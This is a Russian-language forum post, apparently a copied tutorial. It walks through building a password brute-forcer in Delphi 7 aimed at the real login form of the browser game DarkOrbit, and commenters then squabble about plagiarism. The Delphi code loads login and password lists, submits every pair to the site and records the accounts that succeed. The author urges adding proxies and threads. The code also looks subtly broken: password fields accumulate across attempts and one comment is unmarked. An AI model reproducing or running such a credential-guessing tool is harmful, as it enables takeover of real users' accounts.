Пишем простой брут

Итак хочу сразу предупредить брутер будет у нас однопоточный и без прокси.Данную версию я писал в Delphi 7
В данном примере я покажу как сделать брутер для браузерной игры "DarkOrbit"(http://www.darkorbit.com/).
Кидаем на форму 3 компонента button, 1 компонент TIdHTTP,1 компонент openDialog и memo.
Переименуем и роз формируем их так как у меня на скрине:




в глобальных переменных напишем:

Код:

Код:

emails,pass:tstringlist; // список ников и паролей
j,i:integer;

Кастуем дабл клик на "LOGINS "
и пишем такой код:

Код:

Код:

begin
OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
  if OpenDialog1.Execute then
begin
eMails.LoadFromFile(OpenDialog1.FileName);
end;

end;

Дальше 2 раза кликаем на кнопку "PASS"
и пишем такой код:

Код:

Код:

begin
OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
  if OpenDialog1.Execute then
begin
Pass.LoadFromFile(OpenDialog1.FileName);
end;
end;

А теперь приступим к самому бруту !
Дабл клик на кнопку "Старт" и пишем вот такой код:

Код:

var
ssylka,result:string; //думаю тут все
post:tstringlist; //понятно

Код:

Код:

begin
ssylka:='http://www.darkorbit.ru/?locale=ru&aid=0'; //здесь указываем ссылку на сайт который будем брутить
post:=tstringlist.Create; // создаем лист
for i:=0 to emails.Count-1 do begin // проверяем,формируем
post.Clear;
post.Add('loginForm_default_username='+emails[i]); //сниффером смотрим наши значения авторизации
for j:=0 to pass.Count-1 do begin  // проверяем,формируем
post.Add('loginForm_default_password='+pass[j]); 
post.Add('loginForm_default_login_submit=Вход');
result:=form5.idhttp1.Post(ssylka,post); //присваиваем пост запрос 
if pos('selectInstanceHint',result)<>0 then //если программа спарсит значения 'selectInstanceHint' то мы что то збрутили
form1.Memo1.Lines.Add(PChar('Логин:'+Emails.Strings[i]+' Пароль:'+Pass.Strings[j]));  выводим то что збрутили в memo
end;
end;
end;

Ну вот и все на этом брут готов,осталось добавить прокси и потоки и у вас полноценный брутер )

 

много букаффф :с

 

хмм интересно)

 

Просто почитать интересно)
Если бы целое FAQ о каждом значении , было бы круто

 

Всё-таки прочитал. Показалось интересным.

 

Прикольные цыферки

 

копипаст,- в репу,ты даже скрины не выложыл,описаные не изменил.

 

А мне как то все равно что это копипаст, главное что интересно!!
А где найти такое что бы каждое слово и значение было расписано?
очень нужно а то я нифига не могу понять в формировании запроса, а тупо вставить отсюда не зная что это и с чем его едят как то не в тему..

 

Ой йопта я случайно мнуснул =(

 

Копипаст...полный!недавно где то читал!Могу дать ссылку даже!!!

 

Какая разница что копипаст тут пол форума копипаст и что? Человек же для вас старался!

 

Я даже знаю от куда слил

 

Он не старался!Хоть бы выложил откуда скопипастил!Стараться значит писать тему своими словами и понимать что там написано!Хоть бы написал какие значения для чего...если он конечно знает для чего...